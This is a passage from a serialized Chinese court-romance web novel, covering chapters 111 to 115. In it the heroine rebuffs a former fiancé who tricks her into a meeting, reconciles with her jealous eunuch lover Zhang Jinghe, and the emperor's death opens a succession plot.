正说着,便见马冬梅举着一支糖兔子,兴冲冲地从人群里挤了回来。几人顺着熙攘的人潮往前走,不多时,便到了一处河畔。 这里是放莲花灯的去处。岸边早已聚满了男男女女,河面上漂浮着星星点点的莲花灯,烛火映着粼粼波光,暖融融的一片。 说这乞巧节放灯最是灵验的,若是一对男女同放一盏灯,在灯上共书心愿,便能寓意共许良缘,岁岁相守。 姚砚云看得心痒,也凑到一个卖灯的老伯跟前,挑了一盏粉白的莲花灯。她接过笔墨,便在灯笺上提笔写了几字,随后提着灯,小心翼翼地走到河边,俯身将灯轻轻放入水中。 三人在岸边玩赏了半晌,才随着熙攘的人群往回走。行不多时,便听得天际一声锐响,抬头望去,只见一簇烟花骤然绽放在夜幕里。 待烟花散尽,三人又循着喧阗之声,往杂耍班子的方向去。沿途撞见不少结伴而行的男女,有些面上覆各种图案的的面具。姚砚云见了,忽地想起西州那次的光景,心头一动,便也寻了个卖面具的小摊,挑了张漂亮的蝴蝶面具戴上。 只是越往前行,人流越是稠密,摩肩接踵的,几乎连脚都挪不动了。 姚砚云被挤得东倒西歪,不过片刻功夫,便与三喜、马冬梅走散了。她心慌意乱,只顾着往前挤,想寻个空隙等人,冷不防便撞进了一个人怀里。 她慌忙仰头,是一个带着兔子面具的人。 姚砚云连忙说了一句:“公子对不起,是我走得太急,撞到你了。” 可那人却半晌没有应声,只静静立在原地,身形挺拔如松,竟似有意拦在她的去路前。姚砚云暗道许是自己声音太轻,对方没听清,便抬手摘了脸上的蝴蝶面具,又温声说了句:“公子,劳烦让一让,可好?” 话音落时,那人终于动了。他抬手,缓缓掀开了覆在面上的兔子面具。 只一眼,姚砚云的脸色便霎时褪尽了血色,白得像一张纸。她惊得浑身一颤,下意识地往后踉跄几步,偏生身后人潮涌动,有人不经意间推搡过来,她脚下一软,竟直直摔坐在了地上。 姚砚云慌乱地抬手揉了揉眼睛,再抬眼去望时,方才那人站着的地方,早已是人海茫茫,哪里还有半分踪影。 “姚姑娘!” 正惶惑间,三喜的声音从人群外钻进来,紧接着,一双有力的手将她搀了起来。三喜见她脸色惨白,忙不迭问道:“你没事吧?可是摔着了?” 姚砚云的指尖还在不住地发抖,她摇了摇头,声音带着一些颤音,一字一句道:“没事……我要回家,不玩了。”—— 作者有话说:因为这周难得双休,所以这几天更的比较早,明天开始估计也是晚上11点半左右更!今天冬至,祝大家冬至快乐哈[加油] 第112章 姚砚云早晨醒来的时候,还心有余悸,她想着,那人远在千里之外的沙场,又怎会突然出现在京师?昨晚约莫是个身形容貌有几分相似的过客罢了。 胡乱吃了些东西后,姚砚云去铺子转了一圈,又去书铺买了一些话本回来,这一日,便在这般浑浑噩噩的怔忪里,倏忽而过。 第二日将近午时,门房匆匆来报,说是方淑宁遣人递了话,约她在悦来客栈相见。 这悦来客栈的名号,她还是头一回听闻。往日里,她与方淑宁相聚,不是去杏花楼便是到鸣月楼。想来,这悦来客栈许是哪家新开的小馆子,换个地方尝尝鲜,倒也不错。 悦来客栈果然是间不起眼的小酒楼,虽也有两层楼阁,却远不及杏花楼的雕梁画栋,更没有鸣月楼的丝竹盈耳。马车刚停稳,便有个穿青布短打的小厮迎了上来,脸上堆着殷勤的笑:“姚姑娘安好,我们家小姐已在二楼雅间候着你了。” 姚砚云颔首,抬脚便要上楼,三喜亦步亦趋地跟在身后。 那小厮却忽然侧身拦住了去路,赔笑道:“这位小哥,雅间里头都是姑娘家说话,你一个男子跟着,怕是多有不便。” 姚砚云回头看了眼三喜,温声道:“你便在一楼寻个位置等着吧,想吃什么只管点。” 三喜跟着姚砚云多时,深知她与方淑宁私语时不喜旁人打扰,当下也不多言,乖乖应了声,选了个正对二楼雅间楼梯口的桌子坐下。目光落定之处,恰好能将雅间的门扉瞧得一清二楚。 姚砚云跟着小厮拾级而上,目光不经意间扫过他的侧脸。这小厮眉眼生得陌生,便问了一句:“我好像没见过你。” 那小厮恭恭敬敬地弯了弯腰,脸上笑意未减,却只字未答,垂着头引着她往前走。 不多时,便到了雅间门外。小厮伸手推开雕花木门,做了个“请”的手势:“姚姑娘,请进。” 姚砚云依言迈步而入,刚跨过门槛,身后的门便“吱呀”一声被轻轻合上。 雅间内,并无方淑宁的身影,唯有一道挺拔的背影立在窗前,正望着窗外的街景出神。 她心头顿时涌上一股疑云,正欲开口询问,那人却似有所觉,缓缓转过身来。 四目相对的刹那,姚砚云浑身的血液仿佛瞬间凝固,一股寒意从脚底直窜头顶,惊得她头皮发麻,连呼吸都险些停滞。 是陈忠义! 惊愕过后,铺天盖地的恐惧与厌恶席卷而来,她浑身僵硬,连挪动脚步的力气都没有了,可仅仅是片刻的失神,姚砚云便猛地回过神来。 如今的她,已经不是一个人了,何须再惧他半分? 定了定神,她再不多看一眼,拔腿便要往门外走。 “啊云”陈忠义快步上前,一只手死死抵住门板,另一只手精准地攥住了她的手腕。 “啊云,你就这么不想见我吗?” 姚砚云只觉得手腕处传来一阵很恶心的感觉,心头的怒火瞬间被点燃。她猛地扬手,一记清脆的耳光狠狠甩在陈忠义的脸上。 “啪”的一声响,在寂静的雅间里格外刺耳。 “你这个贱人!竟然骗我来这边!” 陈忠义捂着被打得通红的脸颊,眸中却没有半分怒意,反而漾着浓浓的委屈与痴迷。他望着她:“啊云,只要你肯理我,便是再打我十下百下,我也甘之如饴。” 姚砚云不可思议地看着他,甚至想不出话来骂他。 陈忠义见她气得不行,终究是松了手,自觉地退到一旁的木椅上坐下,放软了语气:“啊云,我们之间的那些事,总该有个了断。我今日好不容易才把你约出来,你就给我一点时间,让我把话说完。说完了,我定然放你走。” 姚砚云冷冷地看着他,嘴角勾起一抹讥讽:“我若偏不给你这个时间,你又能奈我何?” “我不会对你怎么样。”陈忠义望着她,目光恳切,“难道把话说清楚x,就这么难吗?” 姚砚云深吸一口气,压下心头翻涌的怒意。她倒要听听,这个男人,今日还能说出什么花言巧语来。她挺直脊背,毫不客气地在他对面的椅子上坐下:“好,那你说。” 陈忠义见状,眼中掠过一丝喜色,给她斟了一杯热气腾腾的清茶,推到她面前:“我怎么也没想到,你竟会跟了他。啊云,你是不是有什么苦衷?” “当初你为了退掉与我的婚事,去求他相助。我原以为,你不过是给了他些钱财,他才肯出面帮你。可我万万没想到……你们竟然会走到一起。” 姚砚云唇边漾起一抹浅淡却坚定的笑意,一字一句清晰无比:“没有苦衷,我喜欢他,他也喜欢我。” “你怎么可能会喜欢他!” 陈忠义像是听到了什么天大的笑话,猛地从椅子上站起身来,语气里满是鄙夷与不屑,“他根本就不是个真正的男人!” 姚砚云却笑着说:“他在我心里,是顶天立地的大丈夫。” 陈忠义像是被她的话噎住了,半晌才回过神来,发出一声短促而嘲讽的笑:“我看你是被猪油蒙了心!竟会喜欢上他那样的人!他除了有一些权势,还有什么?他能给你寻常夫妻的儿女情长吗?他能给你生儿育女,安稳一生吗?” 他眼中满是不甘:“我到底哪里比不上他?这些日子,我一封封书信寄给你,你为何连一封都不肯回我?” “你好狠的心!” 姚砚云抬眸,冷冷地看着他,像是在看什么令人作呕的东西,语气里带着毫不掩饰的嫌恶:“你?你连他的一块指甲盖都比不上。” 陈忠义却像是没听到她的话一般:“算起来,今年已是我们相识的第十年了,我们之间,不应该是这样的” 他望着她,目光灼热,语气急切:“当初我们的婚事告吹,实在是因为我父亲从中作梗,他嫌你出身低微,死活不肯松口,你是知道的,我身不由己。如今不同了,我在战场上浴血奋战,挣下了军功,在陈家,总算是能挺直腰杆说话了。啊云,这么多年了,我对你的心意从未变过。我实话告诉你,我心里,一直都装着你。为什么……为什么不能再给我们彼此一个机会?” “机会?”姚砚云像是听到了什么极其可笑的事情,她缓缓站起身,居高临下地看着他,一字一句,“那我也实话告诉你,我一丁点都不喜欢你,你满意了吗?听明白了吗?” 陈忠义脸上的血色瞬间褪得一干二净:““那你告诉我,你到底喜欢他什么?他到底有什么好?值得你这般死心塌地?” 姚砚云道:“他懂得尊重我,更会真心实意地待我好。” “待你好?”陈忠义突然癫狂地大笑起来,笑声凄厉,“他不过是个阉人!阉人最是诡计多端,阴险狡诈!他这般百般讨好你,哄骗你,无非是因为他天生残缺,给不了你一个女人该有的一切!啊云,你醒醒吧!若他是个正常的男人,他还会这般对你吗?他不过是把你当成了……” “住口!” 姚砚云再也听不下去,胸中怒火熊熊燃烧,猛地抓起桌上那杯尚冒着热气的清茶,扬手便狠狠朝他脸上泼去。 滚烫的茶水溅了陈忠义满脸,他闷哼一声,狼狈地闭上了眼。 姚砚云胸口剧烈起伏着,指着他的鼻子,厉声喝道:“你给我放尊重些!他是什么样的人,我比你清楚千倍万倍!他本身,就是个极好极好的人!” 又道:“你这个贱人,口口声声说喜欢我,那日池边你对我做下的事,难道你都忘了吗?这般卑劣行径!你今天还有脸来找我的?” “那件事是我不对!”陈忠义叹了口气,“可我也是被你逼得走投无路了!啊云,你怎能那般对我?我不是草木,我有心,我会疼!从前我们二人何等要好。可自你进了德妃宫里当差,你便开始有意疏远我,到后来更是连正眼都不肯瞧我一眼!” “你能那般顺利地踏入德妃宫门?不都是我帮你打点的吗?这些年,我何曾有过半分对不起你?我碰过你吗?我连你的手都没敢多牵几次!可你呢?一日比一日冷淡,一日比一日疏离,我看着你对旁人笑,对旁人温和,独独对我冷若冰霜,我能不急吗?我能不疯魔吗?!” “说起来也奇怪,自从你那场大病痊愈之后,我便发现你整个人都变了。我暗中观察过你好几次,说实话,我更喜欢现在的你。这样的你,没那么高高在上,没那么遥不可及,这样的你,不会浑身都透着拒人于千里之外的冰冷” 说完又半跪在她身前:“啊云,我于你而言,难道就只是一条呼之即来、挥之即去的狗吗?这些年,我就站在你身后,你为什么就不能抬头,好好看我一眼呢?” “我看你是真的疯了!”姚砚云只觉得浑身发冷,胃里更是一阵翻江倒海的恶心,她猛地想要抽回自己的手,却被陈忠义死死攥住。 陈忠义握着她的手:“是,我是疯了!我从十年前遇见你那日起,就已经疯了!” 他突然起身,双手扣住姚砚云的肩膀:“啊云,我们重新开始,好不好?” “你” 姚砚云话还没说完,轰的一声巨响,雕花木门猛地被从外踹开 第113章 轰的一声巨响,雕花木门猛地被从外踹开沉重的门扇撞在墙上,发出“咚”的一声闷响 张景和面色沉凝地迈步进来,不过两步便骤然停住,冷冽的目光迅速扫过整间屋子。万幸这只是家小酒楼,屋内除了几张桌椅和一方矮脚屏风,并无软榻之类可供休憩的陈设。 桌前端坐的两人闻声同时抬头,目光撞进张景和眼底时,皆是一脸惊惶失措。 张景和眼底掠过一丝迷茫,扫过两人整齐的衣袍,又看了眼桌上纹丝不动的茶壶与茶杯,乍看之下并无异样。 可下一秒,他的视线便定格在陈忠义的衣领上——那处竟湿了一大片,痕迹新鲜得刺眼。 “不知张某不请自来,是否打扰了二位?”他忽然开口,声音平静得像一潭深水,听不出半分情绪。 姚砚云心头一紧,连忙起身快步走到他身旁,拉了拉他的衣袖:“景和,你怎么来了。我们……我们回家吧。” 张景和侧眸看了她一眼,眼底无波无澜,却并未回应她的话,目光径直转向一旁的陈忠义。 陈忠义再张狂,也知晓御前之人不能得罪,得罪了便是自寻死路。何况今日之事本就是他理亏,用卑劣手段将人骗出相见。 他局促地站起身,动作僵硬地行了一礼,强装镇定道:“见过张公公。下官今日在此用餐,恰巧遇上啊云,便在此闲聊了几句。” 啊云? 这声亲昵的称呼像一根细针,猝不及防地刺进张景和心里。原来,他们之间早已亲近到这般地步。 他喉间溢出一声冷笑,未再多言,转身便朝门外走去,脚步又快又沉。 姚砚云心下一沉,狠狠瞪了陈忠义一眼,也顾不得再多说什么,急匆匆地追了上去。 酒楼外,姚砚云快步追上张景和,一路跟着他走到马车前,见他掀帘上车,也连忙跟了上去。 张景和自始至终未与她说一句话,她上车后,他更是径直挪到车厢最内侧,背对着她,周身散发出拒人千里的寒气。 回府的路上,车厢内静得可怕,只听得见车轮碾过石板路的“轱辘”声。张景和闭着眼靠在车厢壁上,眉眼间尽是疲惫与冷意。 “景和……”姚砚云试探着轻唤了一声,见他毫无反应,心又往下沉了沉,终究还是忍不住开口,“景和,你是不是误会什么了?我们说清楚。” 她知道他定是误会了,必须把事情说清楚才行。 不等张景和回应,她便急急忙忙解释起来:“今日的确是他约我出来的,但我是被他骗出来的!他冒用淑宁的名义把我叫出来,我才会来的。我们真的没说什么,刚聊了两句,你就来了。” 见张景和依旧闭着眼,连眼睫都未曾颤动一下,姚砚云又急又慌,她也明白,什么也骗不到他的,索性把话说得更明白些:“他还说……说心里还有我。你放心,我已经当面跟他说清楚了,严词拒绝了他,我们之间早就划清界限了,你千万不要误x会我” 这话落音,张景和才缓缓睁开眼,眸色沉沉地看向她:“哦?是这样吗?那我倒想知道,是什么话,值得他用这种手段把你骗出来说?” 姚砚云道:“就是这样的” 她也不知道说什么好了。 就在这时,张景和的目光骤然定格在她耳间:“你的耳环,怎么少了一只?” 姚砚云心头一跳,连忙抬手去摸耳坠——两只珍珠耳坠明明都好好地挂在耳上,分毫未动。她瞬间明白了什么,眼眶微微发红:“你就这么不相信我吗?非要用这种方式试探我?” “他给你写信!”张景和猛地打断她,“这两个月,他前前后后给你写了五封信!而你,一次都没有告诉过我!” 轰的一声,姚砚云只觉得浑身血液都凝固了。她怎么就忘了,张府上下皆是他的人,府中大小事都逃不过他的眼睛,陈忠义寄来的那些信,想必每一封都先经过他的审阅,才辗转送到自己手上的。她自以为隐秘的举动,在他面前竟毫无遮掩,这认知让她心头一阵发慌。 张景和的目光死死锁着她,又逼问一句:“我更想知道,你给他的那封回信,到底写了什么?为何那天让马冬梅急急忙忙追回来,又不肯寄出去了?” 原来他连这些都知道 陈忠义写信来,她从未跟他提及,一来是她根本没把陈忠义放在眼里,二来也是怕张景和多想烦心,每次看完信便悄悄烧了。至于那封回信,也只是写明让陈忠义日后不要再纠缠自己,后来之所以追回来不寄了,不过是觉得没必要再给这种人留半分情面。 她万万没想到,竟会闹出这样大的误会。姚砚云急声道:“他的确给我写过信,但我每次看完都烧了,我是怕你不开心才没告诉你的。那封回信,也只是让他以后别再来找我,除此之外,真的没有别的了。” “就像今天,若是知道是他找我,我无论如何也不会出来的。” “你本可以告诉我的。”张景和的声音带着难掩的失落,“他第一次给你写信的时候,你就该告诉我,可你没有。他第四封信里,明明写了不日就会回京师见你,你还是没有告诉我。你只要跟我说一声,我就能帮你解决这个麻烦,可是你没有。” “我……我是怕麻烦你。”姚砚云的声音低了下去。 张景和看着她,眼底翻涌着复杂的情绪:“你是觉得我应付不了吗?还是你根本就不想我解决这个麻烦呢?” 那日,门房递上信件的那一刻,张景和的目光扫过信封上的字迹,心头骤然一沉,他一眼认出是陈忠义的字,因为与先前那些碎纸上的笔迹分毫不差! 而那信里满是对姚砚云的惦念,字里行间全是过往的温存回忆,可这些,姚砚云从未对他提过只言片语。 他视若珍宝的女人,正被另一个男人这般心心念念,而他的女人,却选择将这一切死死隐瞒。 一股无名火窜上心头,他恨陈忠义的不知收敛,恨姚砚云的刻意欺瞒。都怪那几个废物办事不力,没能扣下她回寄的那封信,竟让马冬梅半路追回。不然,他倒真想亲眼看看,她对陈忠义的情谊,到底深到了何种地步。 今日更是胆大包天,偷偷溜出来与陈忠义私会!若不是他察觉不对及时赶去,真不知这两人会做出什么不堪的事来。心口像是被尖利的冰锥狠狠钻着,疼得他喘不过气。他猛地抬手拍向车厢壁,沉声道:“停车!” 车夫急忙勒住缰绳,马车稳稳停下。张景和掀帘下车的瞬间,姚砚云慌慌张张伸手去抓他的衣摆,指尖刚触到布料,便被他猛地抽回衣袖。衣料从她掌心滑落的轻响,像一记耳光打在两人心上。 他没有回头,脚步沉得像灌了铅,径直往前走去。 一回到宫中,等候多时的吉祥立刻上前,神色间带着一些忐忑。其实早在陈忠义寄来第二封信时,张景和便起了疑心。他实在想不通,既然两人早已解除婚约,且闹得不甚愉快,陈忠义为何还要频频纠缠?于是便暗中吩咐吉祥,彻查他与姚砚云的过往。 吉祥面露难色,垂着头迟疑了半天,才嗫嚅着开口。可当那些话从吉祥口中说出时,张景和只觉得如遭晴天霹雳,浑身的血液都瞬间冻结。原来,他们相识已有十年,如青梅竹马的情谊一般。 难怪,难怪陈忠义如此执着,难怪姚砚云选择隐瞒。十年的情分,怎么可能说断就断?今日这一遭,定是两人旧情复燃,互诉心意去了!可姚砚云先前是怎么说的?她说当初答应陈忠义的婚事,不过是一时糊涂,心里从未有过半分喜欢。 全是假的!全是骗他的! 张景和只觉得脑子嗡嗡作响,理智被翻涌的怒火与屈辱彻底吞噬。他跌跌撞撞地走到净房,冰冷的水劈头盖脸浇在脸上,却浇不灭心头的烈焰。抬眼望向铜镜,镜中人面色狰狞,眼底满是狼狈与可笑——活像个被人耍得团团转的小丑。 他再也忍不住,扬手狠狠一拳砸在镜面,“哐当”一声脆响,碎片四溅,指尖被划开一道血口,渗出血珠,却远不及心口的万分之一疼痛。 她怎么敢?她怎么敢这样欺负他!她竟把他当成傻子一般戏耍!这些日子以来,他掏心掏肺地宠着她、爱着她,把最好的东西先紧着她,力所能及的全都给了她,甚至把自己那颗早已千疮百孔的心,毫无保留地捧到她面前。可她呢? 还说什么喜欢他,还说什么在她眼里,他才是真男人,他竟然傻傻地相信了! 张景和自嘲地笑了起来,笑声里满是悲凉。他忽然想起,与姚砚云有过瓜葛的两个男人,陈忠义相貌堂堂,还有那个姓蓝的,亦是一表人才。他们都是顶天立地的健全男人,而他,不过是个残缺的阉人。 想到这里,张景和靠在冰冷的墙壁上,失神般缓缓滑坐在地 第114章 自那日撞破两人“私会”,转眼已是第五日。张景和一直待在宫里,未曾踏足张府半步,那日质问过姚砚云后,便再无动静,唯有暗卫在暗中死死盯着二人的行踪,未曾松懈分毫。 这五日里,他几乎每隔一个时辰,便要传唤暗卫问话,细问姚砚云的一举一动,那姓陈的行踪如何,二人是否再见过面。到后来,连吉祥都实在看不下去,委婉劝他回府看看,却只换来张景和几句呵斥,再无下文。 张府那边,富贵频频托人往宫里递消息,说姚姑娘日日吵着要见老爷,吉祥夹在中间,早已愁得焦头烂额,一边是主子的冷脸,一边是府里的催促,他左右为难,几乎要被逼疯。 第七日午后,张景和终于松了口,动身回了张府。可他一进府,便径直关了望雪坞的院门,任凭姚砚云在外如何唤,都决意不见。 得知张景和回府的消息,姚砚云当即小跑着赶往望雪坞。刚到院门口,便被富贵带着五六个小厮拦了下来。 “姚姑娘,老爷说不见任何人,你先回去吧。”富贵满脸为难。 姚砚云急道:“富贵,你还真得让我进去,我再不进去,你老爷怕是要气死了。” “这姚姑娘你这是啥意思啊。”富贵不解地问。 富贵愣了愣,随即反应过来。老爷回府时那张黑沉的脸,分明是动了大怒,再看姚姑娘这急着进门的模样,想必是二人闹了嫌隙。可老爷的吩咐在前,他哪里敢违抗。 姚砚云道:“你难道看不出来,我和公公吵架了吗?我要进去哄他啊。” “姚姑娘,我知道你们吵架了,可老爷说了不见人啊你就别为难我了。”富贵苦着脸哀求。 “你怕什么?”姚砚云上前半步,压低声音劝道,“先放我进去,等我把他哄顺了气,你不仅无过,反倒有功。” 富贵却愈发迟疑,眉头皱成一团,嗫嚅着:“那万一你哄不好老爷呢我这罪过可就大了。” 姚砚云: 被他这话堵得一时语塞,嘴角抽了抽,懒得再费口舌周旋。她眼珠一转,脚步悄悄往侧门方向挪了挪,刚要抬脚绕进去,就被一个身形高大的小厮稳稳拦住,半点也动不得。 “姚姑x娘,你还是先回吧。”富贵连忙上前,语气愈发恳切。 姚砚云瞧着他们一个个如临大敌的模样,也不忍再为难。她站在院门口,拔高了嗓子唤了张景和几声,内里始终毫无回应。无奈之下,只得转身回了踏月轩。 屋内,张景和将姚砚云的呼喊听得一清二楚,可那声音里,他竟听出了几分不耐烦。 果然,她是变心了。就连哄他、骗他的表面功夫,都懒得做了。她今日来,怕也不是真心的吧,不过是怕他追究,她与那姓陈的私会之事,才虚情假意来应付一番。 他忽然低低冷笑一声,眼底翻涌着阴鸷。姚砚云怕是还不知他的手段,真当他是善男信女?得罪过他的人,从来没有好下场,她姚砚云,也绝不会是例外! 牙关紧咬,满腔愤懑与戾气翻涌,视线却无意间扫到了桌案上那幅画——那是除夕夜姚砚云送他的礼物 他抬手一挥,画“啪”地摔落在地,宣纸撕裂的轻响,竟让他混沌的神志清明了几分。 她会不会……是有苦衷的? 这个念头一旦升起,便如野草般疯长。 她会不会是有苦衷的?是了,她应该是有苦衷的,她生得那般好看,又那般通透伶俐,说话办事总能熨帖人心,谁不喜欢她? 她这样的人,本应该有个良人相伴,却阴差阳错被他带进了张府。跟着他这个阉人,还要费力讨好,于她而言,是多么的不公平。 或许,正是这份委屈,才让她生出了这样的心思。 说到底,是他对不起她 罢了。张景和闭上眼,心中只剩一个念头:他只想确认,她还愿不愿意留在他身边? 只要她愿意留下,哪怕她心里有别人,他也认了。 人在身边,便足够了,他还有什么不满足的?如今焐不热她的心,还有一年、两年、三年……十年,他有的是时间。他本就是残缺之人,能拥有她的陪伴,难道还不够吗? 念及此,他起身整理了一下衣袍,终究还是决定去踏月轩一趟。 有些事,总得当面说清楚。 张景和鼓足了毕生勇气,才缓缓推开房门。屋内,姚砚云正歪在榻上小憩,听见动静抬眼望去,见是他来了,当即起身,快步走到他跟前,不由分说便将他拉到桌边的椅子上坐下。 姚砚云凝眸仔细打量他,只见他眼底泛着浓重的青黑,脸颊也肉眼可见地瘦削了一圈,分明是这几日没休息好。她心头微微一紧,轻声唤道:“景和……” “嗯。”张景和的回应淡淡的,目光落在她脸上,却不敢与她对视太久。 “景和,”姚砚云坐直了身子,神色认真,“我觉得我们之间,有些事该说清楚了。” 可她的话还没说完,就被张景和轻声打断。“我听说春风楼新排了一出戏,反响极好,改日我们一同去看看?”他说着,指尖轻轻拂过她颊边垂落的碎发,小心翼翼地挽到她耳后。 姚砚云一怔,随即顺着他的话应道:“好啊,那不如就明天去?” “好,就明天。”张景和的眉眼舒展了些许,语气里竟带着一丝轻快。 他像是怕她再提起不愿听的话,主动开口,说起了那些从前绝不肯与人言说的往事:“我七岁便进了宫,那会儿一同入宫的孩子里,我是最瘦最矮的一个。谁也没想到,后来我反倒长到了最高。” 姚砚云望着他,浅浅笑了笑,轻声问道:“那你们当中,最好看的是谁?” 张景和的目光暗了暗:“最好看的那个,没熬过来,死了。他夜夜都在榻上喊痛,喊了半个月,终究还是没挺过去。” 姚砚云自然懂他话里的意思。她听罢,喉头微微发紧,什么也没说,只悄悄别过脸,拭去了眼角滑落的一滴泪。 之后,张景和又絮絮叨叨地跟她说了许多无关紧要的琐事:说下次要寻匠人给她打一条镶着火彩宝石的链子,说城东新开了一家酒楼,菜式新奇,要带她去尝尝,还约着明年天寒之时,一同去城外的汤泉庄子泡汤取暖。 姚砚云几次想提起陈忠义的事,刚要开口,不是被他硬生生打断,便是被他故意岔开话题,或是装作听不见,只当没看见她欲言又止的模样。 可姚砚云却不打算就这么算了。这件事若不彻底说开,终究是横在两人之间的一根刺,永远没完没了。她必须把话说清楚。 正当她酝酿着再次开口时,张景和却忽然站起身:“好了,不说这些了,我肚子饿了,我们去用膳吧。”说罢,便作势要拉她起身。 “你觉得这样有意思吗?”姚砚云的声音不高,目光牢牢锁在他的背影上。 张景和也瞬间停住了,准备踏出的脚步。 “说清楚不好吗?”姚砚云缓缓起身,脚步声轻缓却坚定地向他靠近,“能逃避一时,难道还能逃避一辈子?” 张景和的脊背绷得笔直,始终没有回头,指尖却控制不住地微微颤抖。 姚砚云见状,又道:“我不喜欢这样不清不楚的。张景和,我们今天必须把话说开。” 她的话像一把钝刀,缓缓割开张景和强装的镇定。他心头一片冰凉,像在等待一场迟来的宣判——她终究还是要摊牌了,要亲口说离开他了,对不对? 他不想听,一点也不想听。慌乱之下,竟抬手死死捂住了自己的耳朵,仿佛这样就能隔绝掉所有他不愿面对的话语。 他都已经做到这个地步了,刻意回避,拼命讨好,只想把那件事翻篇,她为什么还要这样逼他?为什么非要离开他不可? 姚砚云看着他这模样,鼻尖微微发酸。她轻轻将他捂在耳朵上的双手扯了下来,随即抬手捧住他的脸,强迫他看着自己,目光灼灼地望着他的眼睛:“景和,人应该是向前看的对不对,我希望你能忘了宫里的那些事,陈忠义是喜欢我,或许我也曾经喜欢过他,可那又如何?那些都已经是过去了。难道你要一辈子困在这件事里,不肯走出来吗?” 她顿了顿,指尖轻轻摩挲着他的脸颊:“还有在宫里时,我对你说的那些话,你也忘了吧。我记性差,那些伤人的话早就不记得了,你也别特意记着折磨自己。我们都往前看,把宫里的一切,都抛开,好不好?” 张景和的嘴唇翕动着,喉结滚了滚,似乎想说什么。姚砚云却抢先一步,伸出一根纤细的手指,轻轻按在了他的唇上:“你先别说话,听我说就好。” “你是个坏人,可是我喜欢你,很喜欢你,这种喜欢不是讨好,是发自内心的,我想天天都和你在一起,我想和你牵手,想和你拥抱,想和你亲吻,我还想,我还想要你我想和你做一切美好的事。” “或者换个说法,世间夫妻能做的所有事,我都想和你一起做。我想和你长长久久地走下去,一日,一月,一年,一辈子。” 最后,她微微踮起脚尖,额头轻轻抵着他的:“我和你发誓,今天说的话,全部都是发自内心。”—— 作者有话说:打脸王张景和 第115章 张景和愣了许久,才堪堪消化完她的话。他浑身轻轻发着抖,近乎笨拙地,一字一句重复她的话,像是要把这些字句刻进骨子里。 张景和:“想天天都和我在一起。” 姚砚云:“是。” 张景和:“想和我牵手,想和我拥抱,想和我亲吻,想和我做一切美好的事。” 姚砚云:“是。” 张景和:“想和我做夫妻。” 姚砚云:“是。” 确定的答案落进耳里,张景和猛地将人紧紧搂进怀里,力道大得像是要将她嵌进自己骨血里。她选了他,她爱他。 这种被人坚定选择、毫无保留奔赴的感觉,好得让他几乎要红了眼眶。 “你先放开我罢……”姚砚云被勒得轻喘,软着声音开口,“再这么用力,我都要被你搂碎了。” 张景和这才惊觉自己失了分寸,连忙松了松力道,指尖轻轻摩挲着她的后背:“是我弄疼你了?” “倒也没多痛。”姚砚云再次抬头看他,眼底藏着笑意,轻轻戳了戳他的胸口,“还生气吗?” 张景和别过脸,嘴硬道:“其实我本来就没生气,先前不过是吓吓你罢了。我还不至于那x么小气,不过是陪个旧人喝杯茶而已。多大点事” 姚砚云看着他这口是心非的模样,忍不住笑了。 她伸出手,轻轻环住他的腰,脸颊贴在他温热的胸膛上:“那你呢?你就没什么话要对我说吗?” 怎么会没有?张景和心里早已翻江倒海。他想告诉她,他爱她,爱到没了她便不行,想告诉她,往后余生,他定会护她周全、疼她入骨,与她共渡岁岁年年。 张景和清了清嗓子,刚要开口:“我……” 话音未落,门外忽然传来吉祥急促的敲门声,伴着他略显慌张的声音:“老爷,你在里面吗?” 张景和有些不开心地朝屋外:“怎么了?” 吉祥的声音隔着门板传进来,更显急切:“老爷,有急事!” 张景和这才留意到他语气里的焦灼,心知定然事出紧急,便松开姚砚云,沉声道:“进来。” 吉祥推门进来,神色慌张地躬身禀报:“老爷,陈公公派人来传,让你立刻回宫一趟。” 陈秉正素来沉稳,从未在他出府时这般急着召他回宫。张景和心头一沉,想必是宫里或是他那边出了变故。他压下心头的波澜,说了句:“知道了,备车吧。” 转身看向姚砚云,俯身轻轻吻了吻她的额头,指尖拂过她的发梢:“你等我回来。” 姚砚云踮起脚尖,轻轻抱了抱他的腰,在他耳边软声道:“知道了,你快去吧,路上小心。” 张景和深深看了她一眼,将满心的话语暂且压下,转身快步出了门。 片刻后,府外传来马车驶动的声响,载着他匆匆往皇宫的方向去了。 ———— 入宫后,张景和先直奔陈秉正的公所,到了才发现空无一人。一个候在门口的小火者见了他,忙上前回话,说陈公公在乾清宫当值。张景和只得转身,又往乾清宫的方向赶去。 宫道上的石板路散着一些热气。张景和心头憋着一股火,越走越气——陈秉正这人,早不找他,晚不找他,偏偏在他与姚砚云说要紧话的时候,坏他好事!当真是晦气透顶! 乾清宫已近在眼前。张景和不自觉地加快了脚步,胸腔里的火气越积越旺,恨不得立刻冲进去,把陈秉正揪出来痛骂一顿,问问他到底有什么十万火急的事,非要选在这个时候扰人。 念头刚落,他正要抬脚踏进乾清宫的门槛,一阵撕心裂肺的哭喊声突然从殿内炸开来,尖锐得像针一样扎进耳朵。张景和浑身一僵,猛地顿住了脚步,脚下像生了根似的动弹不得。 紧接着,更多的哭声涌了出来,男女老少的悲泣交织在一起,越来越响,几乎要掀翻殿顶。 混乱中,一道嘶哑的嗓音穿透哭墙,清晰地传进他耳中:“皇上——驾崩了!” 这些字像千斤巨石,狠狠砸在张景和心上。他双腿瞬间像灌了铅一般沉重,指尖微微发颤,好半晌才勉强挪动脚步,缓缓走进殿内。 龙床之上,景隆帝双目紧闭,面色灰白,早已没了半分气息。殿内的地砖上,皇后、太子并肩跪着,陈秉正紧随其后,还有一众宫女太监,全都伏在地上哭得肝肠寸断,连大气都喘不匀。 没过多久,内阁首辅高义急匆匆地奔了进来。他一进殿,瞧见龙床上的景象,当即跪倒在地,放声恸哭。紧接着,其他几位内阁次辅也陆续赶到,殿内又是一阵哭天抢地。 可哭归哭,正事还是要办,景隆帝临终前究竟说了什么、交代了哪些后事,才是眼下最要紧的头等大事。 景隆帝的病发得突然,临终之际,身边只有皇后、太子和陈秉正三人。 高义哭够了,率先收住悲声,抹了把脸,沉声道:“皇后娘娘,太子殿下,先帝弥留之际,可有留下什么遗诏?” 皇后用帕子按住泛红的眼角,声音带着哭后的沙哑:“皇上弥留之际,确是留下了一道遗诏。”说罢,她抬眼示意陈秉正,“陈公公,你念给诸位大人听听吧。” 陈秉正敛去悲容,上前一步,展开手中的明黄诏书,沉声诵读起来。 诏文冗长,核心意思却清晰明了:太子年幼,着内阁大臣以首辅高义为首,与司礼监宦官以冯大祥为首,一同接受先帝顾命,辅佐新君理政。 高义听到这里,心头暗喜。冯大祥本就年事已高,身子也是不行了,早已是半个身子踏进棺材的人,司礼监这边根本构不成威胁。 